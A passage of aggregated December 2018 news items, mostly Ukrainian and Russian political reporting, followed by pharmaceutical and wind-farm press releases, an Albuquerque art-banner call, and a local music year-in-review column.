the victory over the terroristic organization of the Islamic State in Syria. Earlier, the US State Department announced that Russia and Syria had falsely accused Syrian militants of shelling Aleppo on November 24. On November 24, the Syrian city of Aleppo was fired with shells filled with poisonous gas; 107 civilians were injured. Official Syrian authorities, loyal to President Bashar al-Assad, reported that Aleppo was shelled from 120-millimeter mortars. We need to increase our presence in the Sea of Azov and react to the threats available in this region, - Minister Stepan Poltorak Open source Ukraine's defense ministry assigns a number of priorities in 2019; one of them is the creation of the new naval base in the Sea of Azov. Stepan Poltorak, the defense minister said that at a press conference in Odesa, as Hromadske quoted him. 'We need to increase our presence in the Sea of Azov and react to the threats available in this region, and we will never say yes to another attempt of the Russian Federation to capture new territories, the entire the Sea of Azov', Poltorak said. Apart from the new base in the Sea of Azov, the Ministry intends to create a new HQ of the Navy. As is known, previously the UN General Assembly supported the resolution 'The Issue of Militarization of the Autonomous Republic of Crimea and Sevastopol, as well as parts of the Black and Azov Seas'. As we reported earlier, the Russian Navy attacked the Ukrainian vessels in the Kerch Strait in the Sea of Azov. The vessels were damaged, and the crews captured by the Russian special services. Ukraine and the Western governments consider the attack an act of aggression. The Ukrainian sailors were taken to a remand center in Crimea, and then in Moscow, charged with the 'illegal crossing of the Russian territorial waters'. All sailors deny their guilt, claiming they are prisoners of war. The election day is March 23, 2019; in case Round 2 of the election will be necessary, it could take place on April 21 Open source Ukraine's Central Election Committee has approved the deadlines of the presidential election in 2019. Ukrainian News reported that after the Committee's session on December 20. The respective decree stipulates that the presidential campaign starts on December 31, 2018. The candidates are welcome to file the registration appeals until February 3, 2019. The Committee will register them until February 8. The candidates have the right to agitate from February 9 till midnight March 29. The Central Election Committee will finally approve the electoral ballots. The election day is March 23, 2019; in case Round 2 of the election will be necessary, it could take place on April 21. Under these particular circumstances, the final outcome of the election will be made public until May 1; the inauguration of the new head of the state will take place before May 31. One of them is ex-vice mayor of Vilnius, and the other one is ex-chairman of Yedinstvo party Algidras Paletskis Open source A group of people suspected in the espionage in the interests of Russia was detained in Lithuania; ex-chairman of the Socialist Peoples Front and ex-vice mayor of Vilnius Algidras Paletskis, who is under arrest since October, is among them. Lithuanian Prosecutor Generals Office made such statement, as Polske Radio reported. The second suspect is ex-chairman of the pro-Soviet organization Yedinstvo (Unity, - 112.international), citizen of Russia Valery Ivanov. The names of other detainees were not announced. According to Prosecutor General of Lithuania Evaldas Pasilis, the suspects were connected with the political parties not presented at the Lithuanian parliament. According to the prosecutor, it was established during the investigation that the activity of the suspects threatens the national security. Director of State Security Department of Lithuania Darius Jauniskis emphasized that the detainees attempted to influence the political processes in the country. For that purpose, they recruited people, who directly or thanks to the mediators could create the programs of the political parties and their structures and promote the development of the Russian soft force in the country, he said. They also used the mass media to influence the public opinion. Ivanov was detained for illegal storage of weapons, but he was released on December 19. The Socialist Peoples Front and its ex-leader Paletskis were repreatedly called a threat to the national security in the reports of the Lithuanian intelligence. Earlier, we reported that Slovakia expelled one of the Russian diplomats. The military intelligence defined that the Russian conducted espionage against Bratislava and NATO member states. No investigator or prosecutor can apply any pressure on a detained person before he/she gets a lawyer, which must take place two hours after the detention, Pavlo Petrenko noted Ukrainian Justice Minister Open source Ukraine is not anymore among the countries where systematic cases of tortures against the detainees are observed. Minister of Justice Pavlo Petrenko reported that as quoted by Ukrinform news agency. 'Now, we are claiming that the number of tortures during detention, the number of facts of pressure applied against a person has reduced considerably. Ukraine has actually withdrawn from the black list of the countries that have systermatic problems with tortures during detention of citizens', Petrenko said. According to him, every detained person in Ukraine has the right to get a lawyer within the two-hours-long period. No investigator or prosecutor can apply any pressure on a detained person before that, the Minister stressed. 'We currently have a very decent practice of cooperating with the new police, with the new law enforcement agencies for training the investigators; they learn how to communicate with the lawyers of the free legal assistance', Petrenko concluded. Evgeniy Prigozhin is known as Putins chef for his state catering contracts Media agencies linked to Evgeniy Prigozhin, the oligarch and ally of Russian President Vladimir Putin were added to the U.S. Treasurys blacklist of sanctioned entities over the conflict in Ukraine and the alleged election meddling. This was reported by the Bloomberg news agency. The Federal News Agency, USA Really, Nevskiy News and Economy Today, all based in St. Petersburg, are part of a growing list of what the Treasury refers to as specially designated nationals and blocked persons, the statement reads. The Federal News Agency, allegedly backed by indicted Russian oligarch Yevgeny Prigozhin, whos known as Putins chef for his state catering contracts, is suing Facebook Inc. in the U.S. for shutting down its account in April. U.S. officials have accused the site of being part of a troll farm believed to have influenced the 2016 presidential election. As it was reported earlier, the United States Department of Treasury introduced sanctions against 18 Russians including the agents of Russias Main Intelligence Directorate (GRU) Anatoliy Chepiga and Aleksandr Mishkin (known as Petrov and Boshirov), suspected of poisoning ex-GRU agent Sergei Skripal. Four companies have also fallen under sanctions. RECORDATI AND HELSINN AGREEMENT FOR THE EXCLUSIVE COMMERCIALIZATION RIGHTS TO LEDAGA Milan and Lugano, December 20, 2018 Recordati and Helsinn announce the signing of a license agreement between Orphan Europe, a Recordati group company dedicated to providing treatment for patients with unmet medical needs suffering from rare diseases, and Helsinn, a Swiss pharmaceutical group focused on building quality cancer care products, granting Orphan Europe exclusive rights to Ledaga worldwide, excluding the United States, China, Hong Kong and Israel. The product has been granted Orphan Drug Designation in Europe and is approved by the European Commission subject to post approval commitments. Under the terms of the license agreement Orphan Europe will obtain the rights to market, promote and distribute Ledaga in the designated territories and Helsinn will retain the rights to all international development, including clinical development, regulatory activities in the EU, and the supply of Ledaga for commercial use. Ledaga (chlormethine hydrochloride) is a novel gel formulation, applied once a day, indicated for the topical treatment of mycosis fungoides-type cutaneous T-cell lymphoma (MF-CTCL), a rare disease characterized by the abnormal accumulation of malignant T-cells in the skin. MF-CTCL is the most common type of cutaneous lymphoma and first presents as patches and plaques on the skin. It is difficult to diagnose, particularly in the early stages as many of its features are non-specific. Chlormethine is an alkylating agent that inhibits quickly proliferating cells and Ledaga is recognized to have a good efficacy profile with a confirmed treatment response achieved in 76.7% of the efficacy evaluable population in the pivotal trial (Lessin S.R. et al JAMA Dermatol. 2013; 149(1): 25-32). Riccardo Braglia, Helsinn Group Vice Chairman and CEO, said: Mycosis fungoides-type cutaneous Tcell lymphoma is a disease which has a significant impact on quality of life. Helsinn is committed to solutions to treat and improve the symptoms of cancer, and we are pleased to initiate this collaboration with Orphan Europe, a trusted and highly reputable partner, to further the reach of Ledaga to patients in need. Andrea Recordati, Recordati group CEO, said: We are very pleased with the addition of this innovative treatment for MF-CTCL to our rare disease portfolio. The treatment of this rare disease still represents an unmet medical need as existing treatments have either limited efficacy or are non-approved, non-reimbursed cumbersome pharmacy compounded formulations. Ledaga has the potential to become a very important product and to significantly strengthen our rare disease portfolio globally. Launches are expected to start in the short term in the EU and, following, in the rest of our territories. About Ledaga Ledaga gel is an alkylating drug indicated for the topical treatment of MF-CTCL in adult patients. Ledaga is a gel which is applied topically once a day. The drug has been approved by the European Commission (for MF-CTCL patients in all stages) and received Orphan Drug Designation. It will be commercially available upon completion of Post Authorisation Measures. In France it is provided through an Autorisation Temporaire dUtilisation (ATU) de cohort since 2014. For additional information please see the EU Summary of Product Characteristics . About the Helsinn Group Helsinn is a privately owned pharmaceutical group with an extensive portfolio of marketed cancer care products and a robust drug development pipeline. Since 1976, Helsinn has been improving the everyday lives of patients, guided by core family values of respect, integrity and quality. The Group works across pharmaceuticals, biotechnology, medical devices and nutritional supplements and has expertise in research, development, manufacture and the commercialization of therapeutic and supportive care products for cancer, pain and inflammation and gastroenterology. In 2016, Helsinn created the Helsinn Investment Fund to support early-stage investment opportunities in areas of unmet patient need. The company is headquartered in Lugano, Switzerland, with operating subsidiaries in Switzerland, Ireland, the U.S., Monaco and China, as well as a product presence in approximately 190 countries globally. To learn more about Helsinn Group please visit www.helsinn.com About the Recordati group Recordati, established in 1926, is an international pharmaceutical group, listed on the Italian Stock Exchange (Reuters RECI.MI, Bloomberg REC IM, ISIN IT 0003828271), with a total staff of more than 4,100, dedicated to the research, development, manufacturing and marketing of pharmaceuticals. Headquartered in Milan, Italy, Recordati has operations throughout the whole of Europe, including Russia, Turkey, North Africa, the United States of America, Canada, Mexico, some South American countries, Japan and Australia. An efficient field force of medical representatives promotes a wide range of innovative pharmaceuticals, both proprietary and under license, in a number of therapeutic areas including a specialized business dedicated to treatments for rare diseases. Recordati is a partner of choice for new product licenses for its territories. Recordati is committed to the research and development of new specialties with a focus on treatments for rare diseases. Consolidated revenue for 2017 was 1,288.1 million, operating income was 406.5 million and net income was 288.8 million. For more information : Helsinn Group Paola Bonvicini Group Head of Communication Lugano, Switzerland Tel: +41 (0) 91 985 21 21 Info-hhc@helsinn.com For more information, please visit www.helsinn.com and follow us on Twitter , LinkedIn and Vimeo Recordati Investor Relations Media Relations Marianne Tatschke Studio Noris Morano (39)0248787393 (39)0276004736, (39)0276004745 e-mail: investorelations@recordati.it e-mail: norismorano@studionorismorano.com Besides, the Russian President said that "Russia did not impede crossing of the Ukrainian naval vessels" Open source The Russian President Vladimir Putin stated that Russia did not intend to take any unilateral actions concerning the Azov crisis, as he said at the annual press conference, Interfax reported. We are ready to adhere to the agreements and do not announce any unilateral actions, Putin said. Speaking of the naval vessels, Putin noted that Russia did not impede their crossing, but one has to be always in contact with our border guards. Earlier, the UN General Assembly supported the resolution On the issue of militarization of the Crimean Autonomous Republic and Sevastopol (Ukraine) and parts of Black and Azov seas. As we reported earlier, the Russian Navy attacked the Ukrainian vessels in the Kerch Strait in the Sea of Azov. The vessels were damaged, and the crews captured by the Russian special services. Ukraine and the Western governments consider the attack an act of aggression. The Ukrainian sailors were taken to a remand center in Crimea, and then in Moscow, charged with the 'illegal crossing of the Russian territorial waters'. All sailors deny their guilt, claiming they are prisoners of war. Related: Adoption of Azov sanctions package should become next step against Russian aggression, - Poroshenko Related video: The body attributes shooting at the objects of the civil infrastructure to the Ukrainian military Open source Russias Investigation Committee opened another criminal case against the Ukrainian military servicemen for the combat actions in Donetsk region. The body attributes shooting at the objects of the civil infrastructure to the Armed Forces of Ukraine, as the website of the committee reported. A criminal case was opened on the article of the Russian Criminal Code on Harsh treatment towards the civilians and the use of means banned by Russias international treaty in the armed conflict. On December 13, 2018 while implementing the orders of the unidentified high-level officials, the servicemen of the Armed Forces and the National Guard of Ukraine conducted an adjusted artillery attack from heavy weapons at the objects of the civil infrastructure located in Donetsk. As a result, a civilian born in 1991 sustained injuries, the message says. Besides, Russias Investigation Committee accused the Ukrainian military of violating the protocol of ceasefire. It should be noted that over a couple of years, the Russian Authorityhas opened criminal cases allegedly on the crimes committed on the territory of Ukraine. Ukraines Prosecutor General Office counted that there were several dozens of such cases opened in Russia. For one, the Russian Investigation Committee accused Armed Forces of Ukraine of conducting war against civilians. The SBU, Ukraine's state security service published more information about the crimes committed by Wagner private military company. The Ukrainian authority's press service reported that on Thursday evening. The SBU reiterated that Russian reporters Orkhan Dzhemal, Aleksandr Rastorguyev and Kirill Radchenko were killed while on duty, as they looked into the illegal activity of the Russian mercenaries in Central Africa. The Russian government denies any involvement in their murder or the very fact of the presence of Wagner PMC in the Central African Republic. The available data says that the PMC Wagner mercenaries were sent to the Central African Republic by the leaders of the General Staff of the Russian Armed Forces yet in early 2018. The legal cover appeared to be M-Finans LLC, based in St. Petersburg and headed by Russian businessman Yevgeniy Prigozhyn. The M-Finans's security service is officially authorized to train the members of local armed units and secret transportation of the gems from Central Africa to Russia in the interests of the top leadership of the state and the Russian special services. Some of the mercenaries came to Central Africa using Prigozhyn's private aircraft. The Ukrainian service identified another 37 Russian citizens involved in the secret missions in the Central African Republic; the Russian military intelligence recruited them. It appeared that most of the fighters took part in the military actions in Donbas and Syria. When the Russian special service learned that the reporters came to Africa, the leader of security service of M-Finans was ordered to avoid any media leaks about Wagner company's presence in the country. 'The secret actions of Russian mercenaries of Wagner in the Central African Republic should become the subject of the international investigation. The Russian government is not interested in revealing the truth since it is about the 'private army of Putin', who have the blood of thousands of peaceful citizens in Ukraine and Syria on their hands. We all have to finally realize that the silence of the world community kills', said Vasyl Hrytsak, the Head of the SBU. The court has announced the break until January 8. As is known, it considers the case of Olena Zaitseva, who mowed over a crowd of people in Kharkiv, northeastern Ukraine in October 2017 The car of Olena Zaitseva, the suspect in the commitment of the deadly car accident in Kharkiv was driving at 106 km per hour at the moment of the accident as Hromadske reported citing Serhy Perepelytsia, the lawyer of second suspect Hennady Dronov. The defender of Hennady Dronov, the suspect in the commitment of the deadly car accident in Kharkiv has published the new results of the expert study. According to the conclusion, Olena Zaitseva was driving 106 km per hour. The new expert study was held in Dnipro. It was held on the materials of the criminal proceeding by three experts, the message said. It is noted that the defense of Zaitseva appealed against the inclusion of the results to the materials of the case. Besides, it was reported that the court takes the break until January 8. On October 18, 2017, Lexus ran over a group of pedestrians in Kharkiv, northeastern Ukraine. Alyona Zaitseva who drove the car violated the road traffic, crashing into the Volkswagen Touareg driven by Hennadiy Dronov which threw her car towards the pavement. Both drivers survived, but Lexus ran over eleven passing by people. Five pedestrians received lethal injuries; another six were taken to a hospital with injuries of various degrees of severity. Zaitseva was detained for two months without a right to bail. The court revoked her driver license and arrested both cars that participated in the accident. The prosecution stated that Zaitseva used opiates not long before the tragedy occurred. According to the information from the defence, the suspect took the sedatives. The version of Zaitseva's defence is that the driver of the Touareg is guilty as he moved on the yellow traffic light. The defence of Gennady Dronov denies the accusation and claims that the driver of the Touareg moved on the green traffic light. Dronov was the witness in this case but the police claimed that his status can change. Later, the court refused to recognize Dronov sustained. Hennadiy Dronov was served with charge papers on November 2. The Court arrested Hennadiy Dronov for 42 days without the right to bail on November 8. It was established on December 6 that Zaitseva used substances containing codeine. On February 7, the court prolonged the arrest of two suspects in the car crash that killed six people - Olena Zaitseva and Hennadiy Dronov for two months without a right for bail. The European Court ruled to cancel the sanctions imposed on Ukraines former Prime Minister Mykola Azarov in 2015, as the courts decision says. The General Court dismissed his action for annulment of Council Decision (CFSP) 2015/364 of 5 March 2015 amending Decision 2014/119/CFSP concerning restrictive measures directed against certain persons, entities and bodies in view of the situation in Ukraine, and Council Implementing Regulation (EU) 2015/357 of 5 March 2015 implementing Regulation (EU) No 208/2014 concerning restrictive measures directed against certain persons, entities and bodies in view of the situation in Ukraine, in so far as they concern him, the judgment reads. At the same time, the European Court has not just canceled the decision to impose the sanctions against Azarov, but also obliged the EU to compensate expenses for trial to his Austrian lawyers both during the initial stage of the trial and during the appeal. The Court orders the Council of the European Union to pay the costs incurred both in the proceedings at first instance and in the present appeal, the court called the EU. The EU Council added Azarov to the sanctions lists, and his assets were frozen since 2014 under the arguments of the-then Ukraines Government. According to the European Court decision, the former Prime Minister was deprived of a proper legal procedure. The Court noted that the EU Council has to adhere to the basic rights while deciding on the restrictive measures, and this is an integral part of the EU legal order. It does not mean that Azarov is excluded from the current sanctions list of the EU, but it gives legal basis for the further lawsuits on sanctions' cancellation. Earlier, the Prosecutor General's Office of Ukraine received permission from the court for the pre-trial investigation of the former Prime Minister Mykola Azarov on suspicion of seizing LNG (liquefied natural gas) for 77,4 million dollars. In January 2018, the Prosecutor General's Office announced suspicion to the former Prime Minister of Ukraine Mykola Azarov and ex-head of the National Bank Serhiy Arbuzov. In particular, the ex-PM is suspected of illegal embezzlement of particularly large volumes of liquefied gas extracted by PJSC Ukrhazvydobuvannya and PJSC Ukrnafta. It is noted that this caused damage to the state in the amount of 77,4 million dollars. The EU imposed the sanctions against Ukraine's ex-president Yanukovych and his sidekicks in March 2014 and extends them annually. He will be recalled from the position on January 31 Jan Pieko, the Polish Ambassador to Ukraine tyzhden.ua The acting Ambassador of Poland in Ukraine Jan Pieko will be recalled from his position, as the Polish government outlet Monitor Polski reported. Under the article No. 133 of the Constitution of Poland as of April 2, 1997, I recall Jan Pieko from the position of the Ambassador Extraordinary and Plenipotentiary to Ukraine since January 1, 2018, President Andrzej Dudas regulation says. Pieko was Polands Ambassador to Ukraine since October 2016. Before that, he headed the Fund of the Polish-Ukrainian cooperation PAUCI. Earlier, the law No. 2449-VII on the diplomatic service came into force in Ukraine. It introduces the categories of diplomatic posts. Earlier, Russian leader Vladimir Putin claimed that the exchange process of the Ukrainian sailors is possible only after the closure of the criminal case against them The International Committee of the Red Cross (ICRC) asks the Russian Federation to provide the access to the Ukrainian sailors captured by Russia. Lyudmyla Denisova, the Ukrainian Parliament Commissioner for Human Rights reported that on Facebook. Mr. Eshleman (the head of the ICRC Delegation to Ukraine) informed me that the ICRC has already filed the request to the Russian Federation on the provision of the access to the Red Cross representatives to the Ukrainian sailors. As they get the permission for Russia and agreement of the prisoners of war sailors, they will be able to visit them. On the results of such visit, the ICRC representatives will be able to confidentially inform the relatives about the state of the health of the sailors and conditions of their detention, Denisova said. As we reported earlier, the Russian Navy attacked the Ukrainian vessels in the Kerch Strait in the Sea of Azov. The vessels were damaged, and the crews captured by the Russian special services. Ukraine and the Western governments consider the attack an act of aggression. The Ukrainian sailors were taken to a remand center in Crimea, and then in Moscow, charged with the 'illegal crossing of the Russian territorial waters'. All sailors deny their guilt, claiming they are prisoners of war. The Swiss authorities have extended the freezing of the assets of ex-president of Ukraine Viktor Yanukovych and his allies, as the Embassy of Switzerland to Ukraine reported on Twitter. On December 19, the Federal Council adopted the decision on the extension of the preventive freezing of the assets of fugitive president Viktor Yanukovych and his allies for another year, the message said. It is noted that the goal of such decision is the support of the court cooperation between Switzerland and Ukraine. In 2014, Switzerland froze the assets of Yanukovych in the sum of $69 million for three years. The term of the actions of these sanctions should expire in February 2017; however, the Federal Council extended them for one more year in 2016. Yanukovych is charged with state treason, assistance in deliberate actions against Ukraines state border, sovereignty and territorial integrity and the assistance in leading the aggressive war against Ukraine. As it was reported earlier, the Chief Military Prosecutors Office asks the court to sentence ex-President of Ukraine Viktor Yanukovych to 15 years of imprisonment in the case on state treason, as Prosecutor Maksym Krym said during the debates in the court on Thursday, August 16. The Prosecutors Office has established that the officials have established the scheme of getting 10% of payoff for the state order The law enforcers have detained two officials of Ukrgazvydobuvannya under suspicion of taking bribes in the sum of $936,581, as Prosecutor General of Ukraine Yuriy Lutsenko reported on Facebook. According to him, the officials have established the scheme of getting 10% of payoff for the state order. It was revelaed in the case, that in September-December, the head of the Mechanic-Energy Department of Ukrgazvydobuvannya V. Nikitin and Director on Gas Preparation and Transporting O. Gordienko got $611, 318, Lutsenko wrote. The Prosecutor General emphasized that the officials were detained during the receiving of another tranche in the sum of $326,714. The attempt to throw the piles of money out of window will not influence the investigation. We will also take into account the Land Cruiser presented to the official, he noted. Lutsenko added that the work of the officers of the Security Service, Prosecutor Generals Office and Specialized Anti-Corruption Prosecutors Office was held in the cooperation with Head of Naftogaz-Ukraine Andriy Kobolev. As we reported, the former owner of Standart Bank, suspected in the embezzlement of funds of the financial establishment was put on the international wanted list. Yevgen Marchuk, the representative of Ukraine in the Trilateral Contact Group, on air of 112 Ukraine 112 Agency Representative of Ukraine at the Trilateral Contact Group on solution of Donbas conflict Yevhen Marchuk called the issues of the negotiations for the next session, as 112 Ukraine reported. Ukraine proposed to advance some issue on the agenda for the next year. The first is that Ukraine offered to discuss the difference of fake elections at the Trilateral Contact Group beginning with the task group on the security issue. The second is the disbanding of all structures, which were formed on the basis of these elections; the third is to cancel the order of the President of the Russian Federation on the recognition of the documents of occupied Donbas, which were issued illegally, discuss the modality of the holding of the election in accordance with the Ukrainian legislation and in accordance with the OSCE standards, he said. The discussion was brief and we could see that they are not prepared for the discussion. But Ukraine advanced this issue on the agenda of the next session. The session will take place on January 16, Marchuk said. As we reported, Ukraine's representatives in the Trilateral Contact Group in Minsk offered the formulae of the prisoners exchange, namely '23 for 23' and '66 for 19'. Earlier, the Russian media reported that the representatives of self-proclaimed 'DNR' ('Donetsk People's Republic') offered to exchange prisoners of war with Ukraine on December 27. News release from Vestas Asia Pacific Singapore, 20 December 2018 Vestas has signed a 58 MW engineering, procurement and construction (EPC) contract for the Cherry Tree Wind Farm, located near Seymour in Victoria, Australia. Cherry Tree Wind Farm has been developed by Vestas long term Australian customer Infigen Energy and sold to the John Laing Group today in conjunction with the project achieving financial close. John Laing is an international originator, active investor and manager of infrastructure projects and will own and fund the Cherry Tree Wind Farm going forward. The project will feature 16 Vestas V136-3.45 MW wind turbines delivered in 3.6 MW Power Optimised Mode and a 30-year Active Output Management 5000 (AOM 5000) service agreement, which will include a full-scope service package to maximise energy production for the entire asset, including scheduled and unscheduled maintenance for the wind turbines, electrical and civil balance of plant. Vestas and Infigen Energy have worked together on five projects in Australia over the past 14 years, and Vestas is currently servicing Infigens entire operating fleet including all their Suzlon turbines. Vestas and Infigen Energy have enjoyed a long-standing relationship, and we are proud to continue our support with the Cherry Tree project, said Vestas Asia Pacific President, Clive Turton, we also look forward to constructing and servicing the Cherry Tree Wind Farm under John Laings ownership. Vestas is a trusted partner of Infigen Energy with a proven track record in the market and provides competitive solutions supported by a long-term service commitment, said Infigen Energy, Managing Director, Ross Rolfe. Commercial operations at Cherry Tree Wind Farm are scheduled to commence in first half of 2020. For more information, please contact: Rebecca Zhang REZWE@vestas.com Tel: +61 3 8698 7303 About Vestas Vestas is the energy industrys global partner on sustainable energy solutions. We design, manufacture, install, and service wind turbines across the globe, and with 97 GW of wind turbines in 79 countries, we have installed more wind power than anyone else. Through our industry-leading smart data capabilities and unparalleled 83 GW of wind turbines under service, we use data to interpret, forecast, and exploit wind resources and deliver best-in-class wind power solutions. Together with our customers, Vestas more than 24,400 employees are bringing the world sustainable energy solutions to power a bright future. For updated Vestas photographs and videos, please visit our media images page on: https://www.vestas.com/en/media/images . We invite you to learn more about Vestas by visiting our website at www.vestas.com and following us on our social media channels: Attachment Are you an artist, or an aspiring artist, who would like a chance to have your work displayed publicly in Albuquerque? If so, you could be in luck. The West Central Community Development Group has issued a call for artists to submit their work to be considered for display on banners that will hang from street lights along west Central. The mission of the Celebrate West Central Route 66 Street Banner Project is to honor the cultural and historic traditions of the Atrisco Southwest area of Albuquerque, according to the group, which is headed by two-time Republican legislative candidate, Vietnam veteran and committed pro-lifer Louis Tafoya, who sits, or has sat, on many boards in town. So what, exactly, are the cultural and historical traditions of the area? Depends who you ask. The area in question was established as the Atrisco Land Grant by Spain in 1692, and settled by Spanish families. Somebody edited the piece on the Atrisco Land Grand on Wikipedia so that it talks about subsequent Navajo and Apache attacks on Spaniards in the area, in the years directly following the brief success of the Pueblo Revolt; a compassionate read between the lines strongly suggests that perhaps native brown people didnt love it when foreigners actually stole their land and killed and raped their people in the 18th century, any more than xenophobic white folks imagine they would like it now. But, whatever. Its all (sort of?) in the past now, and the area, which has been part of the city of Albuquerque for the past 50 years, has sort of been reborn as a popular dumping ground for empty Fireball minis and Sonic wrappers. The group is hoping to continue efforts to revitalize and beautify the corridor, and you, dear local artists, have a chance to help make that happen. Regardless of your take on New Mexico history, there seems to be a lot of history upon which to drawliterally and figuratively, if you enter this thing. The West Central Community Development Group bills itself as a collection of residents, business owners and community leaders whove come together under the mission of revitalizing the area. The groups past projects, according to themselves, have included building the Route 66 arches, a think big billboard campaign and successful efforts to lure companies such as Verizon Wireless, Dions Pizza and Pros Ranch Market to the area. The groups website says theyve also collaborated with other groups on projects to improve pedestrian safety in the area. There will be two informational meetings, open to the public, in which artists can get more details about the projects requirements. The first meeting will be held on Wednesday, Dec. 19 at 5:30pm, at the West Central Community Development Group, 5921 Central Ave. SW. The second meeting will take place January 17, 2019, at 5:30pm, at the Westside Community Center, 1250 Isleta Blvd. SW. The deadline for submissions is Jan. 28, 2019, at 5pm. Visit the groups website or Facebook page for more information: wccdg.org or facebook. com/ West- Central- Community- Development- Group- WCCDG- 951736151534073/ PLEASE NOTE! Due to the March 23, 2020 NM DOH Public Health Order, These Event Listings Are Not Accurate! All non-essential businesses are closed, public gatherings are prohibited! (One day some of these events will be rescheduled or will resume, but they are not happening now!) George Salisbury In the year 2018, in the area where the Rio Grande swells into a broad swath of brown water, constantly cascading toward the holy southern landsmusic events floated through the town. In a year marked by the ascension of newish forms and genres as well as the resurgence ofsounds all around the Duke Cityby which I mean Downtown in particularthere were all sorts of instances of greatness oozing out the speakers of the clubs of this town. With so much to listen to en el Burque, I thought Id use this column to reminisce about a scene whose fecundity is matched by its vigorous variety. This year, by the way has been glorious. Weekly Alibis Best of Burque Music celebration was an amazing night, and I still look back tenderly to some of the totally truckin (you know, kidz, think of the Grateful Dead lyrics, sabes?) touchstones of that night. This process will now be engaged using the best in 21st century electronic technology, mixed lovingly together with a deep commitment to keeping the scene here among the grooviest on the planet. January Colt Ford played here in January. How cool is that, cowpokes? If you dont dig the twang you could always have gone up to Santa to see The Octopus Project at Meow Wolf. Oh and 24hrs hit it hard at the Jam Spot as the month rolled into another. Dont worry. These notes grow longer as the year advances. February Crushed!? dropped a crusher of an album called Sins of the Father. I had a very interesting chat with Scott Ian of Anthrax. Manhigh started gigging around town in earnest. And I had anther cool talk; this one with Steve Aoki. By the end of our chat, I was convinced Aoki somehow had access to the sounds of the future. In concert he, like, totally glitched out my brain. March Popular events produced by Mariposa Music began manifesting at local clubs, bringing a world beat to a beating heart. Los Metamorfos rocked it with their surrealist circus sound and vision. The Silver String Band, meanwhile, demonstrated awesomely roots-revealing American sounds at an album release party that also featured another authentic outfit, Dave Payne and Salt Cedar. Notably, a new rocking rockabilly outfit, The Despots won many major categories in our yearly readers poll. April In the middle of the month, less than a month into spring, Sonido Cachimbo, Baracutanga and Kiko Villamizar dug a deep groove all the way around Sister and laid down some seeds that are still sprouting every time I stop by this hep hangout. At the end of the month, I got to hang with Kelley Deal, who lives in Dayton and has a twin named Kim. I have a twin named Al that lives in Dayton, so we had an awesome time chatting. Also: the Gathering of MCsfeaturing Def-iat the Launchpad. Too freaking much! May I went to a Rappin in the 90s show at Posh on May 4. I got to jam to Geto Boys, Rasheed, Rappin 4-Tay and Bone Thugs. How cool is that? Well how about the fact that Suspended and Kendrick Lamar had shows here in the Burkes the week after that? Im serious. Okay, the Sun Dog show at Sister on May 18 was super decent too. Im talking to myself. Thats what too much excellent rocanrol will do. The Get Action show the next weekend at the Moonlight Lounge was super-sparky, come to think of it. Finally, at this past years ABQ Folk Festival, it was all about Lone Pinon and Steve Cormier, in my opinion. June During one week in June, just as the heat of summer came barreling in windy bursts over the Sandia mountains, both Sleep and Ufomammut played gigs in this town, destroying much of my ability to process reality in conveniently sunny tid bits. Then, Red Mesa released a monster called The Devil and the Desert, blowing everyones minds who came out to see them in action at Launchpad. And then summer hit. Ashes of Jupiter dropped a new rolling record that fucking perpetually rocks. Meanwhile in the virtual world of the studio and thence the interwebz, fuguers cove began dropping albums that changed my life. Serio. July I got a year older. ARISE rose up in downtown Burque. Ian Moore came back to the Duke City for a visit, but by then Rachel Heisler had moved on. Rapwise, Peanut Butter Wolf proved his freshness at Sister and then the joint got all experimental with crazy cool shows by Julianna Barwick and Mary Lattimore. At months end, Ryan McGarvey visited the zoo and The Grouch and Eligh brought Burque a thing called the Summa Thrilla. Thrilling. August World Beat Spectacular became a thingthanks to Christi Sanchez and Alex Paramo of Mariposa Music. I found new respect for the work of Godsmack, after chatting with Tony Rombola, their guitarist. Weekly Alibi sent our super rocanrol powered intern, Adam Wood to the Taos Vortex (Bwaa ha ha!) and a long, much delayed conversation I had with old punk rock pal Wayne Coyne changed my life for the better. The next week, I was even more blown away by local jazzer, the eminent Emerson Corley of Entourage Jazz. Sometime during all of that summertime frenzy, I had a chance to sit down with CCRs Cosmo Clifford, a real honor while at the Range, puro Burqueno studio rager Ron Crowder released his first disc, Liberty. September As fall became apparent and cooler temperatures too, I had found an opportunity to chat with Mike Scheidt of YOB, one of the darkest yet hopeful doom outfits on planet Earth. Damn good stuff there. By some sort of divine circumstance I also got to preview a concert by Ms. Judy Collins by talking right to the legend herself. She was how I sorta remember my mom: kind, mindful, a genius of description and melody. As the autumn eclipsed the summer, Madstock in Madrid provided some damn fine music as well, including a super-rare performance of the legendary pych-rock outfit The Family Lotus. Damn Good. But get this: at the end of the month, Ozzy Osbourne told me he wrote No More Tears while in Albuquerque, whilst thinking about Randy Castillo. When I met him before the show he was royal. Im not worthy, dude. October Then it was time for bands like Frankie & the Witch Fingers, who did it darkly yet deliciously at Sister on Oct. 7. The next week, I had a blast getting high and chatting with a member of the Wavves, the illustrious Stephen Pope, who rocked our readers world with a candid interview ahead of the bands Launchpad gig. Oh and local pop favorites Five Mile Float returned to gigging whilst I had a mind-altering engagement with Edgar Winter, ahead of his gig at Legends Theater. That talk pretty much proved that the dude from Beaumont, Tejas is a national treasure. My conversation with Winter, turned into the weeks music feature, was poignant and pure, one of the best weve ever run, in my opinion. November Weekly Alibi began the month with a super duper interview with Evan Rachel Wood, who has a rock thing going on with guitar wizard Zane Carney. Of course they played at Meow Wolf! After that the month flashed by: An interview and concert with Todd Rundgren was somehow balanced on a very rare local performance by half of Deerhoof at a gallery that featured work bywait for itRaven Chacon and Jeremy Barnes. Man that was all so tasty, like Thanksgiving when it rains turkey and tamales at the same time, bro. Local psych unit Train Conductor released a new record called Warm Adobe Brain mid-month, further adding to the idea that I was and continue to live a rocanrol fantasy of the highest order. In other nerdy news, local cover band Badd Fish got back together. December The month began with a Cool Yule Concert, thanks to Emerson, E Jazz and their amazing arranger and pianist Roger Baker. Then, in a nod to a festive season that will apparently rock and roll like all get out, Cobra Vs Mongoose dropped a new EP, 66 Guns as did Burques official electro-wizard REIGHNBEAU, a bright, precious danceable dream called SLIGHT. As Christmas approached Spendtime Palace showed off their rocanrol prowess at Sister and Manhigh played one goddamn good gig after another. So now as the the end of the month approaches, please do look forward to a miraculous musical encounter with a dude named Violent J. Serio. I talked to him today. Hell be here for New Years Eve. He is very, very chill. After years of concrete-colored, grimdark reiterations of The Dark Knight, each looking like an increasingly smudgy carbon copy of the previous one, Warner Bros. might have finally gotten a handle on translating DC Comics superheroes to the big screen. Patty Jenkins empowered 2017 take on Wonder Woman lit the way out of the darkness for WB/DC. And now James 